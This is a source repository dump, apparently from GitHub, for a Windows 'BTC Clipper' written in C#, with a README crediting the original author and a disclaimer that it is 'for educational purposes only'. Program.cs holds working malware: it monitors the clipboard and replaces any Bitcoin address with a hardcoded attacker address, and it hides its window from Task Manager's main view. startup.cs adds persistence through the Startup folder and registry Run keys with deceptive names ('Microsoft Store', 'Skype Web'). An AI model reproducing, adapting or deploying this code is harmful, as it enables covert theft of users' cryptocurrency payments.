├── .vs
└── BTC Clipper
│ └── v16
│ └── .suo
├── BTC Clipper
├── obj
│ ├── Debug
│ │ ├── BTC Clipper.csproj.CoreCompileInputs.cache
│ │ ├── BTC Clipper.exe
│ │ ├── BTC Clipper.pdb
│ │ ├── BTC Clipper.csproj.GenerateResource.cache
│ │ ├── BTC Clipper.csprojAssemblyReference.cache
│ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ ├── BTC_Clipper.Properties.Resources.resources
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs
│ │ └── BTC Clipper.csproj.FileListAbsolute.txt
│ └── Release
│ │ ├── BTC Clipper.csproj.CoreCompileInputs.cache
│ │ ├── BTC Clipper.exe
│ │ ├── BTC Clipper.pdb
│ │ ├── BTC Clipper.csproj.GenerateResource.cache
│ │ ├── BTC_Clipper.Properties.Resources.resources
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs
│ │ └── BTC Clipper.csproj.FileListAbsolute.txt
├── bin
│ ├── Debug
│ │ ├── BTC Clipper.exe
│ │ ├── BTC Clipper.pdb
│ │ └── BTC Clipper.exe.config
│ └── Release
│ │ ├── BTC Clipper.exe
│ │ ├── BTC Clipper.pdb
│ │ └── BTC Clipper.exe.config
├── App.config
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── startup.cs
├── BTC Clipper.csproj
└── Program.cs
├── README.md
└── BTC Clipper.sln
/.vs/BTC Clipper/v16/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/.vs/BTC Clipper/v16/.suo
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/BTC Clipper.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | ccf8794903131d63cd68ae28864888fede23eef2
2 |
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/BTC Clipper.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | d605640f83a8a3e2f3ba590ff77d4e204d674630
2 |
--------------------------------------------------------------------------------
/BTC Clipper/bin/Debug/BTC Clipper.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Debug/BTC Clipper.exe
--------------------------------------------------------------------------------
/BTC Clipper/bin/Debug/BTC Clipper.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Debug/BTC Clipper.pdb
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/BTC Clipper.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.exe
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/BTC Clipper.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.pdb
--------------------------------------------------------------------------------
/BTC Clipper/bin/Release/BTC Clipper.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Release/BTC Clipper.exe
--------------------------------------------------------------------------------
/BTC Clipper/bin/Release/BTC Clipper.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Release/BTC Clipper.pdb
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/BTC Clipper.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC Clipper.exe
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/BTC Clipper.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC Clipper.pdb
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/BTC Clipper.csproj.GenerateResource.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.csproj.GenerateResource.cache
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/BTC Clipper.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/BTC_Clipper.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC_Clipper.Properties.Resources.resources
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/BTC Clipper.csproj.GenerateResource.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC Clipper.csproj.GenerateResource.cache
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/BTC_Clipper.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC_Clipper.Properties.Resources.resources
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/BTC Clipper/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/BTC Clipper/bin/Debug/BTC Clipper.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/BTC Clipper/bin/Release/BTC Clipper.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs:
--------------------------------------------------------------------------------
1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
5 |
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs:
--------------------------------------------------------------------------------
1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
5 |
--------------------------------------------------------------------------------
/BTC Clipper/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BTC-Clipper
2 |
3 | 100% Credits to @github/NYAN-x-CAT
4 | 100% FOR EDUCATIONAL PURPOSES ONLY
5 |
6 | I took his "BTC Grabber" & Edited some stuff.
7 | Im relativly new to C#, before i only coded in VB *shaking my head* :shipit:
8 |
9 | What i edited:
10 | - REMOVED ETH & XMR CLIPPER [Is re-addable]
11 | - EDITED SOME CODE [SORRY FOR SPAGHETTI CODE :( ]
12 | - ADDED AUTO STARTUP [PATH FOR EXE + REGISTRY ENTRY]
13 | - ONLY VISIBLE IN "DETAILS" UNDER TASKMANAGER
14 |
15 | # FEEL FREE TO GIVE FEEDBACK OR CONTRIBUTE TOO
16 |
17 | Check NYAN-x-CAT Out:
18 | [NYAN-x-CAT's Github](https://github.com/NYAN-x-CAT)
19 |
20 |
--------------------------------------------------------------------------------
/BTC Clipper/obj/Release/BTC Clipper.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Release\BTC Clipper.exe.config
2 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Release\BTC Clipper.exe
3 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Release\BTC Clipper.pdb
4 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC_Clipper.Properties.Resources.resources
5 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.csproj.GenerateResource.cache
6 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.csproj.CoreCompileInputs.cache
7 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.exe
8 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.pdb
9 |
--------------------------------------------------------------------------------
/BTC Clipper/obj/Debug/BTC Clipper.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Debug\BTC Clipper.exe.config
2 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Debug\BTC Clipper.exe
3 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Debug\BTC Clipper.pdb
4 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.csprojAssemblyReference.cache
5 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC_Clipper.Properties.Resources.resources
6 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.csproj.GenerateResource.cache
7 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.csproj.CoreCompileInputs.cache
8 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.exe
9 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.pdb
10 |
--------------------------------------------------------------------------------
/BTC Clipper.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30330.147
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BTC Clipper", "BTC Clipper\BTC Clipper.csproj", "{187B3B12-185D-4CA8-B198-F8FFF0105727}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {B821954B-DD82-465B-9CFD-1C0BD4DA9C64}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/BTC Clipper/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace BTC_Clipper.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/BTC Clipper/startup.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using System.Windows.Forms;
9 |
10 | namespace BTC_Clipper
11 | {
12 | class autorestart
13 | {
14 | public static void startup()
15 | {
16 | string exepath = System.Reflection.Assembly.GetExecutingAssembly().Location;
17 | string startuppath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
18 | string exename = System.AppDomain.CurrentDomain.FriendlyName;
19 | try
20 | {
21 | File.Copy(exepath, Path.Combine(startuppath, Path.GetFileName(exepath)));
22 | }
23 | catch
24 | {
25 |
26 | }
27 | RegistryKey key1 = Registry.CurrentUser.OpenSubKey
28 | ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //REGISTRY KEY FOR CURRENT EXE LOCATION
29 | key1.SetValue("Microsoft Store", Application.ExecutablePath);
30 |
31 |
32 | RegistryKey key2 = Registry.CurrentUser.OpenSubKey
33 | ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //REGISTRY KEY FOR STARTUP PATH ; MAKE SURE 2 VALUE NAMES
34 | key2.SetValue("Skype Web", startuppath+"\\"+exename);
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/BTC Clipper/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Allgemeine Informationen über eine Assembly werden über die folgenden
6 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
7 | // die einer Assembly zugeordnet sind.
8 | [assembly: AssemblyTitle("BTC Clipper")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("BTC Clipper")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Durch Festlegen von ComVisible auf FALSE werden die Typen in dieser Assembly
18 | // für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von
19 | // COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen.
20 | [assembly: ComVisible(false)]
21 |
22 | // Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird
23 | [assembly: Guid("187b3b12-185d-4ca8-b198-f8fff0105727")]
24 |
25 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
26 | //
27 | // Hauptversion
28 | // Nebenversion
29 | // Buildnummer
30 | // Revision
31 | //
32 | // Sie können alle Werte angeben oder Standardwerte für die Build- und Revisionsnummern verwenden,
33 | // indem Sie "*" wie unten gezeigt eingeben:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/BTC Clipper/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Dieser Code wurde von einem Tool generiert.
4 | // Laufzeitversion: 4.0.30319.42000
5 | //
6 | // Änderungen an dieser Datei können fehlerhaftes Verhalten verursachen und gehen verloren, wenn
7 | // der Code neu generiert wird.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace BTC_Clipper.Properties
12 | {
13 |
14 |
15 | ///
16 | /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw.
17 | ///
18 | // Diese Klasse wurde von der StronglyTypedResourceBuilder-Klasse
19 | // über ein Tool wie ResGen oder Visual Studio automatisch generiert.
20 | // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen
21 | // mit der Option /str erneut aus, oder erstellen Sie Ihr VS-Projekt neu.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("BTC_Clipper.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle
56 | /// Ressourcenlookups, die diese stark typisierte Ressourcenklasse verwenden.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/BTC Clipper/BTC Clipper.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {187B3B12-185D-4CA8-B198-F8FFF0105727}
8 | WinExe
9 | BTC_Clipper
10 | BTC Clipper
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 | ResXFileCodeGenerator
54 | Resources.Designer.cs
55 | Designer
56 |
57 |
58 | True
59 | Resources.resx
60 |
61 |
62 | SettingsSingleFileGenerator
63 | Settings.Designer.cs
64 |
65 |
66 | True
67 | Settings.settings
68 | True
69 |
70 |
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/BTC Clipper/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 | using System.Runtime.InteropServices;
7 | using System.Threading;
8 | using System.Text.RegularExpressions;
9 | using static BTC_Clipper.Program;
10 | using Microsoft.Win32;
11 | using System.IO;
12 |
13 |
14 | //CREDITS GO 100% TO NYAN CAT
15 | //HIS GITHUB : https:github.com/NYAN-x-CAT
16 |
17 | //This program Is distributed for educational purposes only!
18 |
19 | /*MY EDITS:
20 | * REMOVED ETH & XMR CLIPPER
21 | * EDITED SOME CODE [SORRY FOR SPAGETHI IM NEW TO THIS SHIT]
22 | * ADDED AUTO STARTUP [PATH FOR EXE + REGISTRY ENTRY]
23 | * ONLY VISIBLE IN "DETAILS" UNDER TASKMANAGER
24 | */
25 |
26 |
27 | namespace BTC_Clipper
28 | {
29 |
30 | static class Program
31 | {
32 | public static string btc = "14pj14yKQ4tD8SUsAeE2btX2dNeiEJZ58E"; //BTC ADDRESS GETTING PASTED
33 | public readonly static Regex btcregex = new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b");
34 |
35 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
36 |
37 | public static class NativeMethods
38 | {
39 | [DllImport("user32.dll", SetLastError = true)]
40 | [return: MarshalAs(UnmanagedType.Bool)]
41 | public static extern bool AddClipboardFormatListener(IntPtr hwnd);
42 |
43 | [DllImport("user32.dll", SetLastError = true)]
44 | public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
45 |
46 | public const int clp = 0x031D;
47 | public static IntPtr intpreclp = new IntPtr(-3);
48 | }
49 |
50 | //STEVEN
51 | static void Main()
52 | {
53 | new Thread(() => { Run(); }).Start();
54 | autorestart.startup();
55 | }
56 | public static void Run()
57 | {
58 | Application.Run(new ClipboardNotification.NotificationForm());
59 | }
60 | }
61 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
62 | public static class Clipboard
63 | {
64 | public static string GetText()
65 | {
66 | string ReturnValue = string.Empty;
67 | Thread STAThread = new Thread(
68 | delegate ()
69 | {
70 | ReturnValue = System.Windows.Forms.Clipboard.GetText();
71 | });
72 | STAThread.SetApartmentState(ApartmentState.STA);
73 | STAThread.Start();
74 | STAThread.Join();
75 |
76 | return ReturnValue;
77 | }
78 |
79 | public static void SetText(string txt)
80 | {
81 | Thread STAThread = new Thread(
82 | delegate ()
83 | {
84 | System.Windows.Forms.Clipboard.SetText(txt);
85 | });
86 | STAThread.SetApartmentState(ApartmentState.STA);
87 | STAThread.Start();
88 | STAThread.Join();
89 | }
90 | }
91 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
92 | public sealed class ClipboardNotification
93 | {
94 | public class NotificationForm : Form
95 | {
96 |
97 | private static string currentClipboard = Clipboard.GetText();
98 | public NotificationForm()
99 | {
100 | NativeMethods.SetParent(Handle, NativeMethods.intpreclp);
101 | NativeMethods.AddClipboardFormatListener(Handle);
102 | }
103 |
104 | private bool RegexResult(Regex pattern)
105 | {
106 | if (pattern.Match(currentClipboard).Success) return true;
107 | else
108 | return false;
109 | }
110 |
111 | protected override void WndProc(ref Message m)
112 | {
113 | if (m.Msg == NativeMethods.clp)
114 | {
115 | currentClipboard = Clipboard.GetText();
116 |
117 | if (RegexResult(btcregex) && !currentClipboard.Contains(btc))
118 | {
119 | string result = btcregex.Replace(currentClipboard, btc);
120 | Clipboard.SetText(result);
121 | }
122 | }
123 | base.WndProc(ref m);
124 | }
125 | protected override CreateParams CreateParams
126 | {
127 | get
128 | {
129 | var cp = base.CreateParams;
130 | cp.ExStyle |= 0x80;
131 | return cp;
132 | //ONLY VISIBLE NOW IN DETAILS UNDER TASKMGR
133 | }
134 | }
135 | }
136 |
137 | }
138 | }
139 |
140 |
141 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
--------------------------------------------------------------------------------
/BTC Clipper/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------